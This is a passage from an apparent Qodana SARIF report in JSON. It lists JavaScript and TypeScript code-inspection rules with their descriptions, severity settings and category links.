\"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"StandardJS\",\n                \"shortDescription\": {\n                  \"text\": \"Standard code style\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a discrepancy detected by the JavaScript Standard Style linter. The highlighting severity in the editor is based on the severity level the linter reports.\",\n                  \"markdown\": \"Reports a discrepancy detected by the [JavaScript Standard Style](https://standardjs.com/) linter.   \\n\\nThe highlighting severity in the editor is based on the severity level the linter reports.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"StandardJS\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code quality tools\",\n                      \"index\": 51,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ParametersPerFunctionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function with too many parameters\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function with too many parameters. Such functions often indicate problems with design. Use the field below to specify the maximum acceptable number of parameters for a function.\",\n                  \"markdown\": \"Reports a function with too many parameters. Such functions often indicate problems with design.\\n\\n\\nUse the field below to specify the maximum acceptable number of parameters for a function.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"OverlyComplexFunctionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ThisExpressionReferencesGlobalObjectJS\",\n                \"shortDescription\": {\n                  \"text\": \"'this' expression which references the global object\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'this' expression outside an object literal or a constructor body. Such 'this' expressions reference the top-level \\\"global\\\" JavaScript object, but are mostly useless.\",\n                  \"markdown\": \"Reports a `this` expression outside an object literal or a constructor body. Such `this` expressions reference the top-level \\\"global\\\" JavaScript object, but are mostly useless.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ThisExpressionReferencesGlobalObjectJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestedAssignmentJS\",\n                \"shortDescription\": {\n                  \"text\": \"Nested assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment expression nested inside another expression, for example, 'a = b = 1'. Such expressions may be confusing and violate the general design principle that a given construct should do precisely one thing.\",\n                  \"markdown\": \"Reports an assignment expression nested inside another expression, for example, `a = b = 1`. Such expressions may be confusing and violate the general design principle that a given construct should do precisely one thing.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NestedAssignmentJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DefaultNotLastCaseInSwitchJS\",\n                \"shortDescription\": {\n                  \"text\": \"'default' not last case in 'switch'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement where the 'default' case comes before another case instead of being the very last case, which may cause confusion.\",\n                  \"markdown\": \"Reports a `switch` statement where the `default` case comes before another case instead of being the very last case, which may cause confusion.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DefaultNotLastCaseInSwitchJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConfusingPlusesOrMinusesJS\",\n                \"shortDescription\": {\n                  \"text\": \"Confusing sequence of '+' or '-'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a suspicious combination of '+' or '-' characters in JavaScript code (for example, 'a+++b'. Such sequences are confusing, and their semantics may change through changes in the whitespace.\",\n                  \"markdown\": \"Reports a suspicious combination of `+` or `-` characters in JavaScript code (for example, `a+++b`. Such sequences are confusing, and their semantics may change through changes in the whitespace.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConfusingPlusesOrMinusesJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSDeprecatedSymbols\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated symbol used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a deprecated function variable.\",\n                  \"markdown\": \"Reports a usage of a deprecated function variable.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSDeprecatedSymbols\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"LocalVariableNamingConventionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Local variable naming convention\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a local variable whose name is too short, too long, or doesn't follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression expected for local variables names. Use the standard 'java.util.regex' format regular expressions.\",\n                  \"markdown\": \"Reports a local variable whose name is too short, too long, or doesn't follow the specified regular expression pattern.\\n\\n\\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\\nexpected for local variables names. Use the standard `java.util.regex` format regular expressions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LocalVariableNamingConventionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Naming conventions\",\n                      \"index\": 46,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EmptyFinallyBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"Empty 'finally' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an empty 'finally' block, which usually indicates an error.\",\n                  \"markdown\": \"Reports an empty `finally` block, which usually indicates an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EmptyFinallyBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSCommentMatchesSignature\",\n                \"shortDescription\": {\n                  \"text\": \"Mismatched JSDoc and function signature\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports mismatch between the names and the number of parameters within a JSDoc comment and the actual parameters of a function. Suggests updating parameters in JSDoc comment. Example: '/**\\n * @param height Height in pixels\\n */\\nfunction sq(height, width) {} // width is not documented' After the quick-fix is applied: '/**\\n * @param height Height in pixels\\n * @param width\\n */\\nfunction sq(height, width) {}'\",\n                  \"markdown\": \"Reports mismatch between the names and the number of parameters within a JSDoc comment and the actual parameters of a function. Suggests updating parameters in JSDoc comment.\\n\\n**Example:**\\n\\n\\n    /**\\n     * @param height Height in pixels\\n     */\\n    function sq(height, width) {} // width is not documented\\n\\nAfter the quick-fix is applied:\\n\\n\\n    /**\\n     * @param height Height in pixels\\n     * @param width\\n     */\\n    function sq(height, width) {}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSCommentMatchesSignature\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UpdateDependencyToLatestVersion\",\n                \"shortDescription\": {\n                  \"text\": \"Update package.json dependencies to latest versions\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Suggests to upgrade your package.json dependencies to the latest versions, ignoring specified versions.\",\n                  \"markdown\": \"Suggests to upgrade your package.json dependencies to the latest versions, ignoring specified versions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UpdateDependencyToLatestVersion\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptConfig\",\n                \"shortDescription\": {\n                  \"text\": \"Inconsistent tsconfig.json properties\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports inconsistency of a 'paths', 'checkJs', or 'extends' property in a tsconfig.json file. The 'checkJs' property requires 'allowJs'. The 'extends' property should be a valid file reference.\",\n                  \"markdown\": \"Reports inconsistency of a `paths`, `checkJs`, or `extends` property in a tsconfig.json file.   \\nThe `checkJs` property requires `allowJs`.   \\nThe `extends` property should be a valid file reference.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptConfig\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSSuspiciousNameCombination\",\n                \"shortDescription\": {\n                  \"text\": \"Suspicious variable/parameter name combination\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment or a function call where the name of the target variable or the function parameter does not match the name of the value assigned to it. Example: 'var x = 0;\\n  var y = x;' or 'var x = 0, y = 0;\\n  var rc = new Rectangle(y, x, 20, 20);' Here the inspection guesses that 'x' and 'y' are mixed up. Specify the names that should not be used together. An error is reported if a parameter name or an assignment target name contains words from one group while the name of the assigned or passed variable contains words from another group.\",\n                  \"markdown\": \"Reports an assignment or a function call where the name of the target variable or the function parameter does not match the name of the value assigned to it.\\n\\nExample:\\n\\n\\n      var x = 0;\\n      var y = x;\\n\\nor\\n\\n\\n      var x = 0, y = 0;\\n      var rc = new Rectangle(y, x, 20, 20);\\n\\nHere the inspection guesses that `x` and `y` are mixed up.\\n\\nSpecify the names that should not be used together. An error is reported\\nif a parameter name or an assignment target name contains words from one group while the name of the assigned or passed\\nvariable contains words from another group.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSSuspiciousNameCombination\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnresolvedExtXType\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved Ext JS xtype\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an Ext JS 'xtype' reference that doesn't have a corresponding class.\",\n                  \"markdown\": \"Reports an Ext JS `xtype` reference that doesn't have a corresponding class.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnresolvedExtXType\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ForLoopThatDoesntUseLoopVariableJS\",\n                \"shortDescription\": {\n                  \"text\": \"'for' loop where update or condition does not use loop variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'for' loop where the condition or update does not use the 'for' loop variable.\",\n                  \"markdown\": \"Reports a `for` loop where the condition or update does not use the `for` loop variable.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ForLoopThatDoesntUseLoopVariableJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptAbstractClassConstructorCanBeMadeProtected\",\n                \"shortDescription\": {\n                  \"text\": \"Abstract class constructor can be made protected\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a public constructor of an abstract class and suggests making it protected (because it is useless to have it public).\",\n                  \"markdown\": \"Reports a public constructor of an abstract class and suggests making it protected (because it is useless to have it public).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptAbstractClassConstructorCanBeMadeProtected\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FunctionWithMultipleReturnPointsJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function with multiple return points\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function with multiple return points. Such functions are hard to understand and maintain.\",\n                  \"markdown\": \"Reports a function with multiple return points. Such functions are hard to understand and maintain.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionWithMultipleReturnPointsJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSIgnoredPromiseFromCall\",\n                \"shortDescription\": {\n                  \"text\": \"Result of method call returning a promise is ignored\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function call that returns a 'Promise' that is not used later. Such calls are usually unintended and indicate an error.\",\n                  \"markdown\": \"Reports a function call that returns a `Promise` that is not used later. Such calls are usually unintended and indicate an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSIgnoredPromiseFromCall\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Async code and promises\",\n                      \"index\": 49,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ThreeNegationsPerFunctionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function with more than three negations\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function with three or more negation operations ('!' or '!='). Such functions may be unnecessarily confusing.\",\n                  \"markdown\": \"Reports a function with three or more negation operations (`!` or `!=`). Such functions may be unnecessarily confusing.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionWithMoreThanThreeNegationsJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSRemoveUnnecessaryParentheses\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary parentheses\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant parentheses. In expressions: 'var x = ((1) + 2) + 3' In arrow function argument lists: 'var incrementer = (x) => x + 1' In TypeScript and Flow type declarations: 'type Card = (Suit & Rank) | (Suit & Number)'\",\n                  \"markdown\": \"Reports redundant parentheses.\\n\\nIn expressions:\\n\\n    var x = ((1) + 2) + 3\\n\\nIn arrow function argument lists:\\n\\n    var incrementer = (x) => x + 1\\n\\nIn TypeScript and Flow type declarations:\\n\\n    type Card = (Suit & Rank) | (Suit & Number)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSRemoveUnnecessaryParentheses\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"OverlyComplexBooleanExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Overly complex boolean expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a boolean expression with too many terms. Such expressions may be confusing and bug-prone. Use the field below to specify the maximum number of terms allowed in an arithmetic expression.\",\n                  \"markdown\": \"Reports a boolean expression with too many terms. Such expressions may be confusing and bug-prone.\\n\\n\\nUse the field below to specify the maximum number of terms allowed in an arithmetic expression.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"OverlyComplexBooleanExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"OverlyComplexArithmeticExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Overly complex arithmetic expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an arithmetic expression with too many terms. Such expressions may be confusing and bug-prone. Use the field below to specify the maximum number of terms allowed in an arithmetic expression.\",\n                  \"markdown\": \"Reports an arithmetic expression with too many terms. Such expressions may be confusing and bug-prone.\\n\\n\\nUse the field below to specify the maximum number of terms allowed in an arithmetic expression.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"OverlyComplexArithmeticExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6RedundantNestingInTemplateLiteral\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant nesting in template literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports nested instances of a string or a template literal. Suggests inlining the nested instances into the containing template string. Example: 'let a = `Hello, ${`Brave ${\\\"New\\\"}`} ${\\\"World\\\"}!`' After applying the quick-fix the code looks as follows: 'let a = `Hello, Brave New World!`'\",\n                  \"markdown\": \"Reports nested instances of a string or a template literal. Suggests inlining the nested instances into the containing template string.\\n\\nExample:\\n\\n\\n    let a = `Hello, ${`Brave ${\\\"New\\\"}`} ${\\\"World\\\"}!`\\n\\nAfter applying the quick-fix the code looks as follows:\\n\\n\\n    let a = `Hello, Brave New World!`\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6RedundantNestingInTemplateLiteral\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"StringLiteralBreaksHTMLJS\",\n                \"shortDescription\": {\n                  \"text\": \"String literal which breaks HTML parsing\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a string literal that contains a '</' sequence. Such strings may result in incorrect parsing of any HTML in which the JavaScript code is embedded.\",\n                  \"markdown\": \"Reports a string literal that contains a `</` sequence. Such strings may result in incorrect parsing of any HTML in which the JavaScript code is embedded.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"StringLiteralBreaksHTMLJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestingDepthJS\",\n                \"shortDescription\": {\n                  \"text\": \"Overly nested function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function whose body contains statements that are too deeply nested within other statements. Such functions may be confusing and indicate that refactoring may be necessary. Use the field provided below to specify the maximum acceptable nesting depth allowed in a function.\",\n                  \"markdown\": \"Reports a function whose body contains statements that are too deeply nested within other statements. Such functions may be confusing and indicate that refactoring may be necessary.\\n\\n\\nUse the field provided below to specify the maximum acceptable nesting depth allowed in a function.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"OverlyNestedFunctionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptSuspiciousConstructorParameterAssignment\",\n                \"shortDescription\": {\n                  \"text\": \"Assigned constructor field parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a common mistake in TypeScript code, when a class field is declared as a constructor parameter, and then this parameter is assigned. In this case, the corresponding field won't be assigned, only the local parameter value is modified. 'class Foo {\\n  constructor(private p: number) {\\n    p = 1; //must be this.p = 1;\\n  }\\n}'\",\n                  \"markdown\": \"Reports a common mistake in TypeScript code, when a class field is declared as a constructor parameter, and then this parameter is assigned.  \\nIn this case, the corresponding field *won't* be assigned, only the local parameter value is modified.\\n\\n\\n    class Foo {\\n      constructor(private p: number) {\\n        p = 1; //must be this.p = 1;\\n      }\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptSuspiciousConstructorParameterAssignment\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ChainedFunctionCallJS\",\n                \"shortDescription\": {\n                  \"text\": \"Chained function call\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function call whose target is another function call, for example, 'foo().bar()'\",\n                  \"markdown\": \"Reports a function call whose target is another function call, for example, `foo().bar()`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ChainedFunctionCallJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n               